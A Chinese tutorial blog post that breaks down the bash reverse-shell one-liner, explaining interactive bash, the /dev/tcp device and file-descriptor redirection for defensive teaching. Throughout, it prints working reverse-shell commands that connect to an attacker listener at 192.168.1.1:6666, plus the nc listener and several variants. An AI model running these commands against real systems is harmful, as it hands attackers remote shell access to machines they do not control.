作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途
反弹shell解析
- bash反弹shell解析
- 测试环境
- 拆分语句了解一下
- 交互式
- 连接设备
- 文件描述符
- 合并输入输出
- 大合并
最基础的反弹shell语句,这么久只会用,但不知道其中的奇妙之处
真是妙蛙种子被踢出了米奇妙妙屋。。。
bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
测试环境
nc监听主机
IP:192.168.1.1
nc -lvvp 6666
进行反弹shell主机
IP:192.168.1.131
拆分语句了解一下交互式
bash -i
是打开一个交互式的bash
马老师什么是交互式?有问,有答,训练有素(也就是有输入有输出)
#查询当前shell命令是哪一种
ls -l /bin/sh
#查看是否是交互式
echo $-
连接设备
/dev/tcp/192.168.1.1/6666
是Linux中的一个特殊设备,也算个文件,打开这个就相当于对指定设备发出了一个socket连接
使用tcp进行建立socket连接,然后可以读写这个socket连接中的数据。
同理tcp改为udp,就是udp连接。
文件描述符
文件描述符,是用来控制bash命令从哪输入与输出到哪的特殊符号
标准输入(STDIN) 代码0 重定向标准输入 操作符< 默认输入是键盘 标准输出(STDOUT) 代码1 重定向标准输出 操作符>或者>> 默认输出显示器 标准错误输出(STDERR) 代码2 重定向错误标准输出 操作符2>或者2>> 默认输出显示器 重定向标准输出和标准错误输出 操作符&> 将标准输出和错误输出定向到指定位置
bash -i > /dev/tcp/192.168.1.1/6666
#标准输出重定向为设备,没指定输入,所以默认从键盘输入命令,结果输出到指定的设备(攻击机)
bash -i < /dev/tcp/192.168.1.1/6666
#标准输如重定向为设备,没指定标准输出,所以默认从屏幕输出结果,从指定设备(攻击机)输入命令
bash -i < /dev/tcp/192.168.1.1/6666 > /dev/tcp/192.168.1.1/8888
#由于重定向了标准输如和输出,所以从指定设备(攻击机)6666端口输入指令,从指定设备(攻击机)8888端口输出结果
代码2的标准错误输出又是啥?看下面俩语句:
bash -i > /dev/tcp/192.168.1.1/6666
bash -i 2> /dev/tcp/192.168.1.1/6666
第一个语句是标准输出重定向到设备,也就是命令语句成功执行,返回的结果在指定设备显示
第二个语句是标准错误输出重定向到设备,是命令执行失败,返回的报错显示在指定设备
第二句比方:输入ifconfig,成功执行,不会将结果显示在攻击机;输入ipconfig,执行失败,将执行失败返回的报错显示在攻击机。
合并输入输出
当然在使用的是,不管是正确错误,我们都想在指定设备输出,就可以使用合并
n>&m 将输出文件n重定向到m
n<&m 将输入文件n重定向到m
单独>&
这个意思是重定向标准输出和标准错误输出到指定设备
和2>&1
基本一样,但略有不同
bash -i 2>&1 > /dev/tcp/192.168.1.1/6666
bash -i > /dev/tcp/192.168.1.1/6666 2>&1
注意上面两个的差别:
1原本是屏幕,2也是屏幕,2定向到1还是屏幕,1然后定向到设备,2不会跟着1定向所以还是屏幕。
1原本是屏幕,定向到设备变成了设备,2又定向到1,所以跟着就定向到设备。
这点细微的差距有什么区别呢?
第一个语句,如果当你输入一条错误指令,会在被攻击主机显示报错内容
第二个语句,不管你正确错误,都会显示在指定设备上
然后输入与输出合并
bash -i > /dev/tcp/192.168.1.1/6666 0>&1
bash -i > /dev/tcp/192.168.1.1/6666 0<&1
1定向到设备,0是键盘,0定向到1,也就是定向到了设备
就成了我们要的结果,指定设备(攻击机)进行输入,指定设备(攻击机)进行输出
大合并懂了原理,反弹语句就千变万化了,只要全定向到设备就ok了。
bash -i >& /dev/tcp/192.168.1.1/6666 0>&1 bash -i > /dev/tcp/192.168.1.1/6666 2>&1 0>&1 bash -i < /dev/tcp/192.168.1.1/6666 2>&0 1>&0